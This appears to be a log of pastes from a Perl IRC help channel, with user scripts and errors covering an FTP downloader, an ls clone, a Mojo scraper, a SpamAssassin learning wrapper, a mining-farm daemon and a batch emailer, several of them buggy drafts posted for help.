                        │                   │                         │         ├─a referenced glob of CODE(PP) at 0x60b5eb8, which is:
                        │                   │                         │         │ └─already found as *D
                        │                   │                         │         ├─a referenced glob of CODE(PP) at 0x60b5eb8, which is:
                        │                   │                         │         │ └─already found as *D
                        │                   │                         │         ├─a referenced glob of CODE(PP) at 0x60b5eb8, which is:
                        │                   │                         │         │ └─already found as *D
                        │                   │                         │         └─value {SIG} of STASH(1659) at 0x2083ff8, which is:
                        │                   │                         │           └─the default stash
                        │                   │                         └─the lexical $bot of PAD(13) at 0x2084358, which is:
                        │                   │                           └─pad at depth 1 of CODE() at 0x2084340, which is:
                        │                   │                             └─the main code
                        │                   ├─the referrant of REF() at 0xaa93650, which is:
                        │                   │ └─element [2] of ARRAY(5) at 0xaa9ac58, which is (*E):
                        │                   │   └─the referrant of REF() at 0xaa9de10, which is:
                        │                   │     └─value {fields} of HASH(38) at 0xa7be340, which is:
                        │                   │       └─already found as *B
                        │                   └─the referrant of REF() at 0xaa9e878, which is:
                        │                     └─value {denotation_count_estimate} of HASH(5) at 0xaa9ab68, which is (*F):
                        │                       └─the referrant of REF() at 0xaa9ac10, which is:
                        │                         └─value {index} of HASH(38) at 0xa7be340, which is:
                        │                           └─already found as *B
                        └─the referrant of REF() at 0xab7e410, which is:
                          └─value {parent} of HASH(11) at 0xaa9e5d8, which is:
                            └─the referrant of REF() at 0xaa9fd00, which is:
                              └─value {parent} of HASH(9) at 0xaa93638, which is:
                                └─the referrant of REF() at 0x9fb1710, which is:
                                  └─value {type} of HASH(1) at 0xa00e680, which is:
                                    └─the referrant of REF() at 0xa951ef8, which is:
                                      └─element [2] of ARRAY(3) at 0xab7dd20, which is:
                                        └─the referrant of REF() at 0xab7dee8, which is:
                                          └─value {actions} of HASH(39) at 0xaa9a100, which is:
                                            ├─the referrant of REF() at 0xbaee5e0, which is:
                                            │ └─value {field_def} of HASH(9) at 0x3b3cbca8, which is:
                                            │   └─the referrant of REF() at 0x3a7bae38, which is:
                                            │     └─element [1] of ARRAY(5) at 0x3b3d1398, which is:
                                            │       └─already found as *A
                                            ├─the referrant of REF() at 0xaa978f8, which is:
                                            │ └─element [1] of ARRAY(5) at 0xaa9ac58, which is:
                                            │   └─already found as *E
                                            └─the referrant of REF() at 0xaa97898, which is:
                                              └─value {difficulty} of HASH(5) at 0xaa9ab68, which is:
                                                └─already found as *F


who: simcop2387
where: localhost:perlbot:#perl
what: New error messages
paste:
ok 1717 - STDERR for: use feature 'signatures'; sub add ($x = return 0, $y = return $x) { return $x + $y }   [ add(), add(2), add(2,3)  ]
not ok 1718 - STDOUT for: use feature 'signatures'; sub add ($x = return 0, $y = return $x) { return $x + $y }   [ add(), add(2), add(2,3)  ]
#   Failed test 'STDOUT for: use feature 'signatures'; sub add ($x = return 0, $y = return $x) { return $x + $y }   [ add(), add(2), add(2,3)  ]'
#   at /home/ryan/workspace/perlblead-ci/bin/../t/01-supereval.t line 76.
#          got: 'ERROR: Too many arguments for subroutine 'main::add' at (eval 1) line 1.
# '
#     expected: 'ERROR: Too many arguments for subroutine at (eval 1) line 1.


who: tharkun
where: localhost:perlbot:#perl
what: performance isue
paste:
This code took 4 minutes to download 40M of data in 200 files is that reasonable? WTF am I missing?
/#!/usr/bin/env perl

use strict;
use CGI;
use DBI;
use Net::Cmd;
use Net::FTP;
use Data::Dump qw(dump);

my $ftp = Net::FTP->new("example.com", Debug => 0, Passive => 1)  
   or die "Cannot connect to example.com: $@";
$ftp->login("username",'password')
  or die "Cannot login ", $ftp->message;

$ftp->binary;

my $dir_base = "/STUFF_IN_HERE";

$ftp->cwd( $dir_base ) or  "Cannot change working directory: $@ : ", $ftp->message;

my @initial_dir ;
@initial_dir =  $ftp->ls or die "Cannot get ls from server: $@ :";
foreach (@initial_dir) {
# print $_."\n";
 $ftp->get($_) or die "get failed ", $ftp->message;
}

$ftp->quit;


paste:
 use IO::Async::Loop;
 use Net::Async::FTP;

 my $loop = IO::Async::Loop->new();

 my $ftp = Net::Async::FTP->new();
 $loop->add( $ftp );


my @files = ("foo.txt", "bar.txt", "baz.txt"); # see also the ->list_parsed command to get them from the server if needed

 my $ftp_future = $ftp->connect(
    host => "ftp.example.com",
 )->then( sub {
    $ftp->login(
       user => "username",
       pass => "password",
    )
 });
 
 my $latest_future = $ftp_future;
 for my $file (@files) {
    # We chain the requests together, by doing ->then off each future
    $latest_future = $latest_future->then( sub {
        $ftp->retr(path => $file);
    })->then( sub {
        my ( $data ) = @_;
        # We have the data, lets save them here.  or do whatever we needed to do.
        # If you can do it with IO::Async natively it'll be nicer 
        # (since you can keep fetching from FTP while you write, but that's 
        # beyond the scope of this example
        open(my $fh, ">", $file) or die "couldn't open $file: $!";
        print $fh $data;
    });
 }
 
 # try to get the result of all the fetches, 
 #we don't care about the result but this'll make us wait until it's all done.
 $latest_future->get(); 


where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl

use strict;
use warnings;
use autodie;
use Stat::lsMode; #ls-style
use File::stat;
use Getopt::Long;
use POSIX;
use 5.010;

my $path;
if ( (@ARGV > 0) && (@ARGV < 2) ) { 
	$path = $ARGV[0];
}
else {
	$path = ".";
}

opendir(my $DIR, $path) or die "ERROR";

my @dir = grep {$_ ne '.' and $_ ne '..' } readdir $DIR;

closedir $DIR;

@dir = sort { lc($a) cmp lc($b) } @dir;

foreach my $one_dir (@dir) {
	my $options = stat($one_dir);
	my $time = sprintf "%4d-%02d-%02d %02d:%02d:%02d", $year, $mon, $mday, $hour, $min, $sec;
	my $permissions = file_mode($one_dir);
	my $user = getpwuid($options->uid);

	printf "%-30s %-10s " . $time . " " . $permissions . " " . $user . "\n", $one_dir, $options->size;
}


who: Endryu
where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl

use strict;
use warnings;
use autodie;
use Stat::lsMode; #ls-style
use File::stat;
use Getopt::Long;
use POSIX;
use 5.010;

my $path;
if ( (@ARGV > 0) && (@ARGV < 2) ) { 
	$path = $ARGV[0];
}
else {
	$path = ".";
}

opendir(my $DIR, $path) or die "ERROR";

my @dir = grep {$_ ne '.' and $_ ne '..' } readdir $DIR;

closedir $DIR;

@dir = sort { lc($a) cmp lc($b) } @dir;

foreach my $one_dir (@dir) {
	my $options = stat($one_dir);
	$time = POSIX::strftime("%Y-%m-%d %H:%M:%S", localtime( $options->mtime ));
	my $permissions = file_mode($one_dir);
	my $user = getpwuid($options->uid);
	printf "%-30s %-10s " . $time . " " . $permissions . " " . $user . "\n", $one_dir, $options->size;
}


paste:
#!/usr/bin/perl

use strict;
use warnings;

use autodie;
use Stat::lsMode; #ls-style
use File::stat;
use Getopt::Long;
use List::Util;
use POSIX;
use 5.010;

my ($path) = grep { ! /^-/ } @ARGV;
my @opt    = grep {   /^-/ } @ARGV;

$path ||= '.';

opendir(my $DIR, $path) or die "Not able to open dir '$path'";

my @dir = grep {$_ ne '.' and $_ ne '..' } readdir $DIR;

closedir $DIR;

@dir = sort { lc($a) cmp lc($b) } @dir;

if (List::Util::first { /^-l$/ } @opt) {
    foreach my $one_dir (@dir) {
        my $full_path = "$path/$one_dir";
        my $options = stat($full_path);
        my $time = POSIX::strftime("%Y-%m-%d %H:%M:%S", localtime( $options->mtime ));
        my $permissions = file_mode($full_path);
        my $user = getpwuid($options->uid);
        printf "%-30s %-10s " . $time . " " . $permissions . " " . $user . "\n", ($one_dir, $options->size);
    }
} else {
   printf "%s\n", (join "  ", @dir);
}


who: mauke
where: localhost:perlbot-magnet:#perl
what: polyglot without comments
paste:
int main(int q, char **v) {
    puts("hi");
    return ",); sub main {} { print 'hi', $/; q)", (0);
}


who: Endryu
where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl

use strict;
use warnings;

use autodie;
use Stat::lsMode; #ls-style
use File::stat;
use Getopt::Long;
use List::Util;
use POSIX;
use 5.010;

my ($path) = grep { ! /^-/ } @ARGV;
my @opt    = grep {   /^-/ } @ARGV;

$path ||= '.';

opendir(my $DIR, $path) or die "Not able to open dir '$path'";

my @dir = grep {$_ ne '.' and $_ ne '..' } readdir $DIR;

closedir $DIR;

@dir = sort { lc($a) cmp lc($b) } @dir;

if (List::Util::first { /^-l$/ } @opt) {
    foreach my $one_dir (@dir) {
        my $full_path = "$path/$one_dir";
        my $options = stat($full_path);
        my $time = POSIX::strftime("%Y-%m-%d %H:%M:%S", localtime( $options->mtime ));
        my $permissions = file_mode($full_path);
		my $user;
		#checking option "-L" , I cant acces @opt.
		if (List::Util::first { /^-L$/ } @opt { 
			$user = getpwuid($options->uid);
		}
		else {
			$user = "";
		}
		#printing data, getting error of my declarations beacuse of adding upper if.
        printf "%-30s %-10s " . $time . " " . $permissions . " " . $user . "\n" , ($one_dir, $options->size);
    }
} 

else {
   printf "%s\n", (join "\n", @dir);
}


where: localhost:perlbot:#perl
paste:
use Modern::Perl '2015';
use autodie;
use Mojo::UserAgent;
use Mojo::DOM;

my $ua = Mojo::UserAgent->new;
my $page = $ua->get('http://technewstube.com')
    ->res
    ->dom;

my $dom = Mojo::DOM->new( $page );
my $source = $dom
    ->find('ul li div a[class=ah]')
    ->map('all_text')
    ->each;
    print "$source\n";


where: localhost:perlbot:#perl
paste:
my @stuff;
#my $title = \@titles;
#my $url = \@urls;
#my $source = \@sources;
push @stuff, { title => \@titles, url => \@urls, source => \@sources };

for my $item ( @stuff) {
    for my $element ( keys %{$item}) {
        print "$element => ${$item}{$element}\n";
        }   
}


paste:
use Modern::Perl '2015';
use autodie;
use Mojo::UserAgent;
use Mojo::DOM;
use Data::Dumper;

my $ua = Mojo::UserAgent->new;
my $page = $ua->get('http://technewstube.com')
    ->res
    ->dom;

my $dom = Mojo::DOM->new( $page );

my @titles = $dom
    ->find('ul li div h2 a')
    ->map('all_text')
    ->each;
    #print "@titles\n";

my @urls = $dom
    ->find('ul li div[class=ac] h2 a')
    ->map(attr => 'href')
    ->join("\n\n");
    #print "@urls\n";

my @sources = $dom
    ->find('ul li div a[class=ah]')
    ->map('all_text')
    ->each;
    #print "@sources\n";

my @stuff;
#my $title = \@titles;
#my $url = \@urls;
#my $source = \@sources;
push @stuff, { title => \@titles, url => \@urls, source => \@sources };

for my $item ( @stuff) {
    for my $element ( keys %{$item}) {
        print "$element => ${$item}{$element}\n";
        }
}


where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl

use strict;
use lib '/usr/local/share/perl5/lib/perl5';
use MIME::Tools;
use MIME::Parser;
use Net::IP;
use POSIX qw(strftime);




$ ls -l /usr/local/share/perl5/lib/perl5/ /usr/local/share/perl5/lib/perl5/Net/
/usr/local/share/perl5/lib/perl5/:
total 64
drwxr-xr-x 2 datapro empls 4096 Mar  9 12:41 Capture
drwxr-xr-x 3 datapro empls 4096 Mar  9 12:41 Class
drwxr-xr-x 2 datapro empls 4096 Mar  9 12:41 Convert
drwxr-xr-x 3 datapro empls 4096 Mar  9 12:41 Devel
drwxr-xr-x 3 datapro empls 4096 Mar  9 12:41 Exception
drwxr-xr-x 2 datapro empls 4096 Mar  9 12:41 File
drwxr-xr-x 3 datapro empls 4096 Mar  9 12:41 IO
drwxr-xr-x 5 datapro empls 4096 Mar  9 12:41 MIME
drwxr-xr-x 4 datapro empls 4096 Mar  9 12:47 Net
drwxr-xr-x 2 datapro empls 4096 Mar  9 12:41 Sub
drwxr-xr-x 6 datapro empls 4096 Mar  9 12:41 Test
drwxr-xr-x 9 datapro empls 4096 Mar  9 12:41 Test2
-r--r--r-- 1 datapro empls 6393 Mar  9 12:41 Test2.pm
-r--r--r-- 1 datapro empls  967 Mar  9 12:41 ok.pm
drwxr-xr-x 4 datapro empls 4096 Mar  9 12:41 x86_64-linux-thread-multi

/usr/local/share/perl5/lib/perl5/Net/:
total 252
drwxr-xr-x 4 datapro empls   4096 Mar  9 12:45 DNS
-rwxr-xr-x 1 datapro empls  16209 Mar  9 12:45 DNS.pm
drwxr-xr-x 2 datapro empls   4096 Mar  9 12:45 HTTP
-rwxr-xr-x 1 datapro empls   9948 Mar  9 12:45 HTTP.pm
-rwxr-xr-x 1 datapro empls   3165 Mar  9 12:45 HTTPS.pm
-rwxr-xr-x 1 datapro empls 178310 Mar  9 12:47 IP.pm
-rwxr-xr-x 1 datapro empls  35135 Mar  9 12:45 Ident.pm

mailbox[shawn]: ~
$


where: localhost:perlbot:#perl
paste:

#!/usr/bin/perl

use strict;
use lib '/usr/local/share/perl5/lib/perl5';
use MIME::Tools;
use MIME::Parser;
use Net::IP;
use POSIX qw(strftime);

#####
# sal-wrapper.pl
#
# SpamAssassin sa-learn wrapper
# based on the version from Alexandre Jousset, 2004
# (see: http://www.huschi.net/download/sa-wrapper.pl.gz)
###### 
# Copyright (c) 2008 Stefan Jakobs
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
# 
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
#
#####################################################################
# Version and last change date:
my $Version = 0.2.1;
my $VDate = '05/27/08';	# MM/DD/YY
#
#####################################################################
# This was written by:
#	Stefan Jakobs <stefan.jakobs@rus.uni-stuttgart.de>
#
# Please send all comments, suggestion, bug reports, etc
#	to stefan.jakobs@rus.uni-stuttgart.de
#
#####################################################################
# Changelog:
# [Version: 0.1.2]
# * Add Date and Time to some log messages
# * Bug: Used $_ in sub failure, now changed to $_[0]
# * Add configure option $LOG_TO_FILE, you can now log to STDOUT
# [Version: 0.1.3]
# * write dump_skeleton and output from $SA_LEARN to a second
#   file, reread it and log the lines to $LOG_FILE
# [Version: 0.1.4]
# * allow empty Path to networks file
# [Version: 0.2]
# * fixed bug with nested mails -> added recursion
# * fixed some typos
# [Version: 0.2.1]
# * will create $UNPACK_DIR

# Bugs:
# [Version: < 0.2]
# * nested mails (like PGP signed mails) will not be learned

#####################################################################
# configuration parameters

# specifies how much stuff will be logged to $LOGFILE.
# a value of 0 will only log the most important parts
# and a vulue of 3 will log as much as possible.
my $DEBUG = 2;
# Set to 1 and the script will log to $LOGFILE
# (must be writeable to the user which runs the script)
# Set to 0 and the script will log to STDOUT
my $LOG_TO_FILE = 1;
my $LOGFILE = '/home/shawn/sa-learn.log';
# this script will unpack the messages to this directory
#my $UNPACK_DIR = '/tmp/test';
my $UNPACK_DIR = '/home/shawn/unpack';
#my $UNPACK_DIR = '/var/spool/unpack';
# set to 1 to delete the messages and the created
# directories after finishing this script.
my $CLEANUP = 0;
# specify where the script will find sa-learn
#my $SA_LEARN = '/usr/bin/sa-learn';
my $SA_LEARN = '/home/shawn/fake-sa-learn';
# If you don't want to check if the piped messages comes
# from an intern source then you will set the following
# parameter to 1
my $DISABLE_LOCAL_TEST = 0;
# specify a file which contains the IP addresses of your
# network. Generally this is the postfix networks file.
my $NETWORKS_PATH = '';
# Add IP addresses to this array, if they are not
# contained in the networks file.
# example: = qw(127.0.0.1 192.168.0.1 192.168.1.0/24)
my @ADDITIONALIP = qw(127.0.0.1 192.168.0.1 192.168.0.0/24);

##### variables #####################################################
my ($spamham) = @ARGV;
my @IPinNetworks;
my $parser = new MIME::Parser;
my $log_string;
my $tmp_log = "$UNPACK_DIR/__log.tmp";
my $counter = 1;

my $IP_A_IN_B_OVERLAP;
my $IP_IDENTICAL;

##### logging #######################################################
# open the logfile for writing and share (1) it.
if ($LOG_TO_FILE) 
{
   open (DELOG, ">>$LOGFILE");
   flock (DELOG, 1);
}

# Debug level 3
if ($DEBUG >= 3) 
{
    MIME::Tools->debugging(1);
    open(STDERR, ">>$LOGFILE");
}

##### subroutines ###################################################
# define subroutines
sub failure
{
   # Debug Level 1
   $log_string = "--f" . $_[0];
   logging("--f" . $_[0], 1);
   if ($LOG_TO_FILE) { close(DELOG); }
   die $_[0];
}

sub logging
{
   my($message, $log_level) = @_;
   # Jan  9 21:03:43
   my $now = strftime "%b %e %H:%M:%S", localtime;
   chomp($message);
   $message =~ s/\n/\n$now /g; 
   if ($LOG_TO_FILE == 1)
   {
       if ($log_level <= $DEBUG) {
          print DELOG $now ." " .$message ."\n";
       }
   } else
   {
       if ($log_level <= $DEBUG) {
          print $now ." " .$message ."\n";
       }
   } 
}
   
sub open_tmp_log
{
   open (TMP, "+>>$tmp_log") || failure("failed to open $tmp_log!");
   flock (TMP, 1);
}

sub read_close_tmp_log
{ 
   my $log_level = shift;
   my $string = shift;
   seek(TMP, 0, 0);	# go to the beginning of $tmp_log file
   my @dump = <TMP>;
   close(TMP) || failure("failed to close $tmp_log!");
   if (defined($string)) 
   {
      map {
         if ($_ =~ $string) { logging("$_", $log_level); } 
      } @dump;
   } else { map { logging("$_", $log_level); } @dump; }
   unlink($tmp_log);
}

sub cleanup
{
   if ($CLEANUP)
   {
      # Debug Level 1
      logging("--: cleanup now", 1);
      # remove the unpacked message files
      $parser->filer->purge;
      # remove the created output directory
      rmdir $parser->output_dir;
   } else { logging("--! will NOT cleanup", 0); }
   if ($LOG_TO_FILE) { close(DELOG); }
}

sub feed
{
   my $ent = shift;

   if (! $ent->parts)
   {
      # Debug Level 2
      logging("--: part number: " . $counter++, 2);
      logging($ent->body_as_string(), 2);
#         $ent->print(\*DELOG); # don't print to FH
   }

   if ($ent->head->mime_type eq 'message/rfc822') 
   {
      logging("--! message will be piped to sa-learn.", 0);
      # Debug Level 3
      logging("--: Here is the dump of the piped message:", 3); 
#	   $ent->bodyhandle->print(\*DELOG);	# don't print to FH
      logging($ent->bodyhandle->as_string, 3); # or ->as_lines
      logging("--: end of message dump", 3);
 
      if ($DEBUG >= 3)	# Debug Level 3 
      {
         open(SALEARN, "|$SA_LEARN -D $spamham -p '/etc/mail/spamassassin/bayes.test' >>$tmp_log 2>&1") ||
  	        failure("Not able to pipe to $SA_LEARN: $!");
      } elsif ($DEBUG >=1)	# Debug Level 1
      {
         open(SALEARN, "|$SA_LEARN -D learn $spamham -p '/etc/mail/spamassassin/bayes.test' >>$tmp_log 2>&1") ||
                failure("Not able to pipe to $SA_LEARN: $!");
      } else			# Debug Level 0
      {
         open(SALEARN, "|$SA_LEARN $spamham -p '/etc/mail/spamassassin/bayes.test'") || 
		failure("Not able to pipe to $SA_LEARN: $!");
      }
      $ent->bodyhandle->print(\*SALEARN) && 
		logging("--! message successfully piped.", 0);
      close(SALEARN);
      # workaround; SA_LEARN only logs to a file
      open_tmp_log(); 
      read_close_tmp_log(1,"Learned tokens from");
   }
#  elsif ($ent->head->mime_type eq 'text/html')
#  {
#     print "body of type message:\n";
#     $entity->head->print(\*STDOUT);
#     $entity->bodyhandle->print(\*STDOUT);
#  }

   my @parts = $ent->parts;
   if (@parts) {
      map { feed($_); } @parts;
   } elsif ($counter == 1) 
   { 
      logging("--! There aren't any parts "
   	."-> Nothing to feed\n--! quit", 0); 
   }
}

##### end of subroutines ############################################ 

##### CREATE IPs ####################################################
# create a array that contains all IP addresses which 
# represents our internal (local) network. 
logging("##### Starting sal-wrapper ... #####", 0);

if (! $DISABLE_LOCAL_TEST)
{
# create Net::IP objects from the given IP address strings
# and append them to the new array
map { 
   my $ip = new Net::IP($_) || failure("failed to create IP object"); 
   @IPinNetworks = (@IPinNetworks, $ip);
} @ADDITIONALIP;

if (! $NETWORKS_PATH eq '') 
{
   open(NETS, $NETWORKS_PATH) || failure("failed to open $NETWORKS_PATH");
   my @networks = <NETS>;
   close NETS;

   # extract the IP addresses from the networks file and append
   # them to the IPinNetworks array
   map {
      if ($_ =~ /^(?:[0-9]{1,3}\.){3}[0-9]{1,3}(\/[0-9]{1,2})?/)
      {
	  # remove all whitespace characters from the IP address
	  $_ =~ s/[\s]//g;
	  my $ip = new Net::IP($_) || failure("failed to create IP object");
	  @IPinNetworks = (@IPinNetworks, $ip);
      }
   } @networks;
}

# Debug level 2
logging("--: The following IP addresses are considered as local:", 2);
map { logging($_->print(), 2); } @IPinNetworks; } 

##### end of CREATE IPs #############################################

# check if $UNPACK_DIR exists
if (! -d $UNPACK_DIR) {
  mkdir $UNPACK_DIR or failure($UNPACK_DIR ."created", 0);
}  

# don't decode the content of a message/rfc822 document 
$parser->extract_nested_messages(0);
$parser->output_under($UNPACK_DIR);

# create an object (entity) which contains the MIME message
my $entity = $parser->parse(\*STDIN) or 
	     failure("failed to parse STDIN");

# Debug level 2 
logging("--: the skeleton dump of the message:", 2);
# work around; dump_skeleton can only dump to a FH
if ($DEBUG >=2)
{
   open_tmp_log();
   $entity->dump_skeleton(\*TMP);
   read_close_tmp_log(2);
   logging("--: end of skeleton dump", 2);
}

##### LOCAL TEST ####################################################
# Check if the piped message comes from your local network
# If yes feed it to sa-learn, otherwise discard it.

if (! $DISABLE_LOCAL_TEST)
{
#Debug level 3
logging("--: found the following \'Received:\' lines:", 3);

# parse the IP address of the sending server from every Received: 
# header line and check if it is contained in my networks array. 
for (my $i=0; $i<$entity->head->count('Received'); $i++)
{
   my $LocalMail=0;
   my $rcvd_line = $entity->head->get('Received',$i);
   # Debug level 3
   logging("$rcvd_line", 3);	

   # Received: from a.server.tld ([127.0.0.1]) by foobar
   # Received: from b.server.tld ([192.168.1.16] verified) by foobar
   # Received: from c.server.tld (c.server.tld [192.168.1.20]) by foobar
   # Received: from [192.168.1.16] (foobar) 
   if ($rcvd_line =~ /^from [a-zA-Z0-9_.-]* \([a-zA-Z0-9_.-]* ?\[((?:[0-9]{1,3}\.){3}[0-9]{1,3})\](?: verified)?\)/ || 
       $rcvd_line =~ /^from \[((?:[0-9]{1,3}\.){3}[0-9]{1,3})\] \(.*\)/)
   {
      # Debug level 2
      logging("--: extracted IP: $1", 2);
      my $ip = new Net::IP($1) || 
	       failure("creating IP object failed");
      map {
	 if ($ip->overlaps($_)==$IP_A_IN_B_OVERLAP || 
	     $ip->overlaps($_)==$IP_IDENTICAL)
	 {
	     # Debug level 1
	     logging("--: " .$_->print() 
		  ." contains " .$ip->print() 
		  ." -> seams to be from my own network\n", 1);
             $LocalMail = 1;
	 }  
      } @IPinNetworks;
      if (! $LocalMail) 
      { 
         logging("--! the message wasn't sent from my own network.", 0);
         logging("--! will exit now.", 0);
         cleanup;
         exit;
      }
   }
   else { logging("--! didn't found an IP!", 0); }
}
if (! @IPinNetworks) { cleanup; failure("No IPs in my network!"); }
}
##### end of LOCAL TEST #############################################

##### FEEDING #######################################################
# The root (0/header) part of the message was already examined
# Now look at every other part of the piped message and 
# feed it to sa-learn if the MIME type is message/rfc822

feed($entity);

##### end of FEEDING ################################################

cleanup;


where: localhost:perlbot:#perl
paste:
$ ./sal-wrapper.pl < trappedspam
Can't locate object method "new" via package "Net::IP" (perhaps you forgot to load "Net::IP"?) at ./sal-wrapper.pl line 264, <DATA> line 717.

mailbox[shawn]: ~


where: localhost:perlbot:#perl
what: $logstamp never updates
paste:
#!/usr/bin/perl

use warnings;
use strict;
use DBI;
use Proc::Daemon;
use Proc::PID::File;
use Time::Stamp qw( parsegm gmstamp );

use lib '/opt/ifmi/lib';
use MF_GraphData;
use MF_ErrorCheck;
use MF_AcctUpdate;

my $dbname = "/opt/ifmi/minerfarm.db";
my $dbh;

# we dont care what kids say
$SIG{CHLD} = 'IGNORE';

# Lets loop a while
Proc::Daemon::Init;
if (Proc::PID::File->running()) { exit(0); }

my @farms;
my $fall;
my $farm;
my $farmid;
my $dbfp;
my $pid;
my @farmset;
my $sfarm;
my $i;
my $farmer;
my $ftype;
my $updatelog;
my $lin;
my $stamp;
my $logstamp;

my $continue = 1;
while ($continue) {

  $logstamp = gmstamp();
  $logstamp =~ s/(T|:\d{2}Z)/ /g;

	# Every minute
	until (
		$dbh = DBI->connect("dbi:SQLite:dbname=$dbname", { RaiseError => 1 })
	) {
 		warn "Cant connect: $DBI::errstr.\n";
    sleep 1;
	}
	$fall = $dbh->selectall_arrayref("SELECT ID, Type FROM Farmers");
	$dbh->disconnect();
	# Make an array of farmer IDs to update graphs and check errors
	undef @farms;
	foreach $farm (@$fall) {
		($farmid, $ftype) = @$farm;
		# if the farmers db hasnt been touched in a day, dont add it!
		$dbfp = "/opt/minerfarm/$farmid/fm.db";
		if (-M $dbfp < 1) {
			push(@farms, $farm);
		}
	}
	# now fork a kid for every ten farms in the array, and let it do the work
	while (@farms) {
    undef @farmset;
    for($i=0; $i<10; $i++) {
    	$sfarm = shift(@farms);
    	push(@farmset, $sfarm);
    	$i = 10 if (!@farms);
		}
		next if $pid = fork; die "fork failed: $!" unless defined $pid;
		if ($pid == 0) {
			foreach $farmer (@farmset) {
				# uncomment to see which farm hangs
				#`logger "farm $farmer\n"`;
				MF_GraphData::getGraphData(@$farmer);
				MF_ErrorCheck::getErrorCheck(@$farmer);
			}
			exit 0;
		}
	}

	# Hourly
  my $minute = (localtime)[1];
  if ($minute eq '55') {
  	MF_AcctUpdate::pimpUpdate();
    $updatelog = "$logstamp Pimpupdate run\n";
  }

  # Daily
  my $hour = (localtime)[2];
  if ($hour eq '01' && $minute eq '01') {
    MF_AcctUpdate::doAccounts();
    $updatelog = "$logstamp Accounts run\n";
  }

	$SIG{TERM} = sub { $continue = 0 };

  $updatelog = "$logstamp loop ran\n" if ($updatelog eq "");
  open ($lin, '>>', "/opt/ifmi/logs/mfserver.log") or die "Couldn't open: $!";
  print $lin $updatelog;
  close $lin;

	sleep 60;
}






who: bhelit
where: localhost:perlbot:#perl
what: email with single attachment
paste:
use strict; use warnings;
use Email::Sender::Simple qw(sendmail);
use Email::Sender::Transport::SMTP::TLS qw();
use Email::Simple;
use Try::Tiny;
#################################
# EM - automated group-based send
#   password-protected-pdf attach 
# SETUP #########################
print "batch: ";
my $batch = <>; chomp $batch;
print "sender account: ";
my $sender = <>; chomp $sender;
print "$sender password: "; chomp $sender;
my $pass = <>; chomp $pass;
# LIST ##########################
print "Readn LIST\n"; 
my %list; 
# key = email_address; 
# value = attachment;
open(my $lifh, '<', 'LIST');
my @set = readline $lifh; chomp @pre;
foreach $line (@set) {
    my @i = split(" ", $line, 2);
    $list{$i[0]} = $i[1];
}
# SENDER #########################
my $trans = Email::Sender::Transport::SMTP::TLS->new(
    host => 'smtp.gmail.com',
    port => '587',
    username => $sender,
    password => $pass,
);
# LOOP ############################
foreach $ee (keys %list) {
    my $att = $list{$ee};
    my $email = Email::Simple->create(
        header => [
            To => $ee,
            From => $sender,
            Subject => "Paystub $batch",
            # ATTACH 
        ],
        body => "$batch pay stub attached as a pdf\n",
    );
    try {
        sendmail($email, { transport => $trans });
    } catch {
        die "Error sending email: $_";
    };
}
# NOTES ###########################
# GOOGLE
# If the sender is a google account change this setting
# https://www.google.com/settings/security/lesssecureapps


who: bhelit
where: localhost:perlbot:#perl
what: genio help transl ln50 to Stuff syntax
paste:
use strict; use warnings;
use Email::Stuffer qw(send);
use Email::Sender::Simple; # qw(sendmail);
use Email::Sender::Transport::SMTP::TLS qw();
#use Try::Tiny;
#################################
# EM - automated group-based send
#   password-protected-pdf attach
# DESC ##########################
# prior steps:
# 1) PDF.vba - vba to pdf (if necessary)
# 2) ATT.pl - password protect attachment
# SETUP #########################
print "batch: ";
my $batch = <>; chomp $batch;
print "sender account: ";
my $sender = <>; chomp $sender;
print "$sender password: "; chomp $sender;
my $pass = <>; chomp $pass;
my %list; # key = email; value = attachment;
# LIST ##########################
print "Reading LIST.txt\n";
open(my $lifh, '<', 'LIST.txt');
my @set = readline $lifh; chomp @set;
foreach my $line (@set) {
    my @i = split(" ", $line, 3);
    $list{$i[0]} = $i[1];
}
foreach (keys %list)
    { print "$list{$_}\n"; }
# SENDER #########################
my $trans = Email::Sender::Transport::SMTP::TLS->new(
    host => 'smtp.gmail.com',
    port => '587',
    username => $sender,
    password => $pass,
);
# LOOP ############################
foreach my $ee (keys %list) {
    my $att = "ATT\\$list{$ee}";
    my $body = "$batch pay stub attached as a pdf\n";
    my $email = Email::Stuffer
        ->from ($sender)
        ->to ($ee)
        ->subject($batch)
        ->text_body($body)
        ->attach_file($att)
        ->send;
}
#    try {
#        sendmail($email, { transport => $trans });
#    } catch {
#        die "Error sending email: $_";
#    };
# NOTES ###########################
# GOOGLE
# If the sender is a google account change this setting
# https://www.google.com/settings/security/lesssecureapps


who: mcmillhj
where: localhost:perlbot:#perl
what: Nei
paste:
#!perl

use strict;
use warnings;

package A {
  sub f {
    return map { $_ + 1 } @_;
  }
}

use Data::Dumper;
use feature qw(say);

sub override_func {
   my ($f) = @_;

   return sub {
      say 'ARGUMENTS = ', join(',', @_);
      return $f->(@_);
   };
}

# save out existing function
my $old_func = \&A::f;

# replace function with version that logs arguments
no warnings 'redefine';
*A::f = override_func(\&A::f);

# call function
my @l = (1,2,3,4,5);
say 'Calling replaced function = ', join(',', A::f(@l));

# restore function
*A::f = $old_func;
say 'Calling restored function = ', join(',', A::f(@l));


who: richlv
where: localhost:perlbot:#perl
what: data structure example
paste:
$VAR1 = [
          {
            'host' => 'ZMD_3953',
            'templateid' => '10178',
            'hosts' => [
                         {
                           'host' => 'host1',
                           'hostid' => '10407'
                         },
                         {
                           'hostid' => '10409',
                           'host' => 'host2'
                         }
                       ]
          },
          {
            'templateid' => '10179',
            'host' => 'ZMD_3971_AD',
            'hosts' => [
                         {
                           'hostid' => '10407',
                           'host' => 'host3'
                         },
                         {
                           'host' => 'host4',
                           'hostid' => '10409'
                         },
                       ]
          }
        ];


where: localhost:perlbot:#perl
paste:
=head1 NAME

ERPsync - add users to erpavp.assecobs.pl


  
=head1 SYNOPSIS

Usage: erpsync -l LOGO -n NAME -o OPIEKUN
  or:  erpsync -d
  or:  erpsync -h
